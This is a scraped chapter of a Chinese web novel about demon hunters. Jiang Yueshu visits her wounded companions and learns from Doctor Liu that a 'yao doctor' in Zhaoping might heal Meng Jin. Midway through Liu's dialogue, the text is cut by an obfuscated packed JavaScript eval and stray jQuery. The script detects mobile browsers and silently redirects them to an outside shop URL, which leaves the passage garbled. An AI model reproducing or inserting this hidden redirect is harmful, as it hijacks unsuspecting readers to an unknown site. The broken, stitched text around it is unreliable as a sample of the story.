文趣网 > 其他小说 > 平安堂捉妖逸事 > 51. 妖医
    姜月疏刚穿上就急忙往外走,还是晚杏将她给拦住了:“等一下,月疏姐你先把药喝了。”她将先前端来的药给姜月疏端过去。

    姜月疏接过碗皱了皱眉,这药可真难闻,但她还是立马将药一饮而尽,晚杏见她喝完后,带着她去了苏月的房间。

    她虽然无大碍了,但一路上走得十分着急,晚杏一直劝她慢点走,没一会二人便来到了苏月的房间,姜月疏慌张地往屋里看去,苏月坐在桌前,沈逐风正在给她的手臂上药。

    桌子正对着门,里面二人也发现了姜月疏和晚杏,晚杏和苏月还有沈逐风问了声好,拍了拍姜月疏的肩膀:“我先走了,你有事就来前院叫我。”说完她就离开了。

    沈逐风见着姜月疏赶紧起身道:“月疏你醒了?”

    一旁的苏月也打算站起来,但刚站到一半就有晕倒之势,姜月疏三步并做两步赶紧上前扶住她,让她坐下,沈逐风也赶紧上前询问她的状况,苏月只是摆手。

    缓过来后她第一时间问了问姜月疏的情况,在姜月疏表明自己现在没有任何危险后才放心下来,这才让沈逐风继续上药。

    苏月低头不语,半晌她才问姜月疏:“对了,在洞里最后是什么情况?你师兄说他们赶到的时候没有发现白衡。”

    姜月疏道:“他死了,多亏师姐你的那一枪,再加上九霄阵法,他死得透透的。”

    “九霄阵法?”一旁的沈逐风有些惊讶,“月疏你用了九霄阵法?”

    姜月疏点点头:“那时候没有别的办法了,我也不能确定能不能成功,只能硬着头皮上。”

    苏月和沈逐风说道:“当时那是你没有看见,那阵法,犹如厉鬼索命般恐怖,还是我们师妹厉害。”

    沈逐风一个劲的夸姜月疏,她也只是附和着笑笑。

    沈逐风将苏月上好药的手臂用纱布包扎好后问了问姜月疏:“你去看过孟瑾和陆云峥了吗?”

    姜月疏摇了摇头没说话,看起来心事重重的样子。

    苏月和沈逐风立马明白了是怎么一回事,苏月用手拍了拍姜月疏的背,说道:“陆云峥你师兄刚刚看过,没什么大事,就是孟瑾那小子,情况不太好,但你也别太悲观,你待会还是去看看他吧。”

    姜月疏藏住自己的情绪,装作没事人般说道:“我待会就去,对了,他房间在哪儿啊?”

    沈逐风指了指外面道:“出门直走,右拐,最后那间房就是了。”

    “好。”姜月疏起身道,“那师姐你注意身体,我先走了。”

    “好。”

    苏月一直盯着姜月疏,在她走后她同沈逐风说道:“月疏这家伙有心事啊,这么短的时间里她也承受了太多,不知道她抗不扛得住。”

    “也情有可原,”沈逐风给苏月倒了杯水,“月疏是个很坚强的孩子,只是孟瑾的情况不容乐观,说不好什么时候就……哎。”他没再说下去。

    姜月疏从苏月房间里出来后没有去看孟瑾,而是四处走走透了透气,阳光晃得她睁不开眼,她找了块阴凉地坐下,院中树上蝉鸣声此起彼伏,她就这样坐着想了很多。

    明明自己以前天不怕地不怕,为什么现在开始逃避了呢?她想不清楚。

    良久,她才来到孟瑾的房间,双手轻轻推开房门,房间里很安静,孟瑾就静静地躺在床上。

    姜月疏看见他顿了一会才走过去,孟瑾平躺在床上,盖着一床薄被,双手放在两侧。

    她走上前坐在床边,看见孟瑾的手上有很多细细的伤痕,她伸出手去细细抚摸着其中的几条,密密麻麻的十分粗糙。

    孟瑾还在昏迷当中,脸上几乎没有血色,嘴唇还有些发白干裂。

    姜月疏轻轻抬起孟瑾的一只手臂,掀开被子,孟瑾里面只穿了一件里衣,她轻轻掀开,孟瑾左胸处的伤口已经被包扎得很完美,这也导致他的上半身都缠满了纱布,伤口太大,愈合的很慢,她隐约能看出纱布中透出的一片红。

    姜月疏没有任何表情,却不自主地掉下了几滴眼泪,她合上孟瑾的里衣,又将被子给他盖上。

    “孟瑾?”她轻声叫着。

    ”孟瑾?”无人回应后她又继续叫着,声音中夹杂着哽咽。

    她握住孟瑾冰冷的手掌,轻声说道:“一定没事的,这里治不好我们就换个地方治,你一定能醒过来的。”

    姜月疏再孟瑾房里待了大约一个时辰,在那之后,她没有回房间,而是去找了医馆里的大夫。

    医馆里像孟瑾这样的病人并不多,她随便问了几个人就有人告诉他治疗孟瑾的是刘大夫,听他们说,这个刘大夫是这一片医术最好的大夫了。

    姜月疏找到刘大夫时他还在接待病人,好在病人不多,她等了一小会刘大夫就有空闲时间了,在整理药材。她走到旁边直接同他打招呼:“请问您就是刘大夫吗?”

    “是我,请问姑娘你有什么事吗?”刘大夫停下手里的活抬头看向眼前的姜月疏,接着他一脸慈祥地说道:“姑娘我认得你,前两天你才被送过来的,十分虚弱,你都醒了?看样子恢复得挺好啊。”

    姜月疏也笑着回他:“托医馆的福,现在恢复得差不多了,我这次来找您是想问一下我一个朋友的具体情况,就是一个左胸受伤了的男子,有些严重,应该是和我一起送过来的。”

    她怕刘大夫想不起来,还给他比划了一下孟瑾的身形和穿着。

    刘大夫的眼神变得有些严肃,他道:“这位病人我记得,他是你们当中伤得最重的,这会儿都还没醒过来。”

    “那有没有什么办法?”姜月疏有些急切。

    “他的伤同普通的伤不一样,”刘大夫说,“就连止血都花了大功夫,别说愈合了,我现在只能用一些特殊的药材吊着他的性命,要想恢复,得让伤口愈合才行,在下才疏学浅,医术不精,暂时还没有办法。”

    姜月疏眼里的光暗了下去。

    刘大夫看她这样子继续说道:“听你的同伴说,他是被妖邪所伤,伤口直接贯穿身体,之所以久久不能愈合,估计就是伤口中带了些邪气。”

    “也就是说,普通的大夫没办法医治这样的伤?”姜月疏问道。

    刘大夫点点头道:“可以这么说,之前妖邪横行的时候,产生了很多能够医治这种特殊伤病的大夫,外人称他们为妖医,不过近些年没什么妖怪了,这些妖医也渐渐都没了。”

    姜月疏认真听着刘大夫的话,仿佛抓住了救命稻草,她问:“那您有什么办法能够找到妖医吗?什么代价我都愿意付。”

    刘大夫笑着摇摇头道:“这事可是讲究缘分的,大部分的妖医都在四处奔走,要找到他们可不容易,那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771124|209915||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    位公子的情况不容乐观,恐怕撑不到那个时候。”

    姜月疏见刘大夫不清楚也没再继续询问,向他道谢后便打算走,现在她知道了救孟瑾的方法,接下来的问题是如何才能找到妖医。

    她刚走两步就被刘大夫叫住。

    “姑娘,可否再等一会,也许我这有办法。”

    刘大夫叫了一个在一旁打下手的徒弟去他房里去来一张收据。

    他将收据递给姜月疏看,并向姜月疏解释道:“这是我两年前买药材的收据,刚刚说到妖医我才想起来。”

    姜月疏不太明白,这收据与妖医有什么关系,她直接开口问:“这收据有什么问题吗?”

    刘大夫指了指收据上的一个章,这个章虽然小小一个,但十分独特,不像普通的章是名字,而是一朵莲花,而且十分精致,制作一个这样的章肯定得花不少力气。

    刘大夫解释道:“这莲花印章十分独特,一般人难以仿制,我年轻的时候遇见过一位妖医,我隐约记得他当时就带了这么个印章,好像还说过这章是他们的标志。”

    “那这张收据?”

    “姑娘你看,”刘大夫示意姜月疏看上面的字。

    姜月疏粗略读了一下,大致就写了这批药材的地点、类别、数量、品质还有时间什么的。

    刘大夫说:“这批货是在离这不远处的昭平拿的,药铺的老板大气,会定期低价出售药材,这就是在那时候买的。”

    昭平,低价出售药材,姜月疏总觉得特别熟悉,她仔细想了想,这不和前段时间回青崖镇路上遇见的那个老伯说的一样吗。

    姜月疏道:“那这家店是不是每个月低价货只卖几批,还要抽号?”

    刘大夫有些惊讶:“姑娘你怎么知道?”

    “我家里是做药材生意的,之前听别人说过一些。”姜月疏道。

    “那这就好办了,”刘大夫说,“外面人都只知道这个老板会低价卖货,却很少有人知道,每个月抽中号码的人都还可以请这位老板免费坐诊,听我的几位好友说,这位老板可是华佗在世、医术超群呐,都称他为活神仙。我运气好号码牌被抽到了一回,那时不知道,我就光买了药材,拿到收据后好久我才注意到这上面的莲花印章,也难怪这位老板医术精湛,依我看来,他多半是位妖医。”

    姜月疏已经明白了大概,并向刘大夫要了那个老板的地址。

    刘大夫看着姜月疏从蔫了吧唧的样子逐渐变得有些开心,他也不忍心打击她的信心,只得说:“不过我也不能百分百确定这位老板是位妖医,也许这莲花印章是他从别处收来的也不一定,只是说能给你提供一个方向和选择。”

    姜月疏朝刘大夫鞠了一个躬:“谢谢您,这已经帮了我大忙了,不管怎样,我都要去试一试。”

    刘大夫提醒她:“若你要去寻这位老板,最好明日就出发,这离昭平还有一两日的车程,算着时间,也到了发号码牌的日子了,姑娘你若决定好了,我马上给那位公子包些路上换的药。”

    “那就麻烦您了,我明日就走。”

    慢一分,孟瑾就会越虚弱一分,他的危险就会增加一分,她必须尽快行动。

    等到姜月疏回房间时,碰巧遇见晚杏来找她,听晚杏说陆云峥也醒了,她简单收拾了一下自己就去看陆云峥了。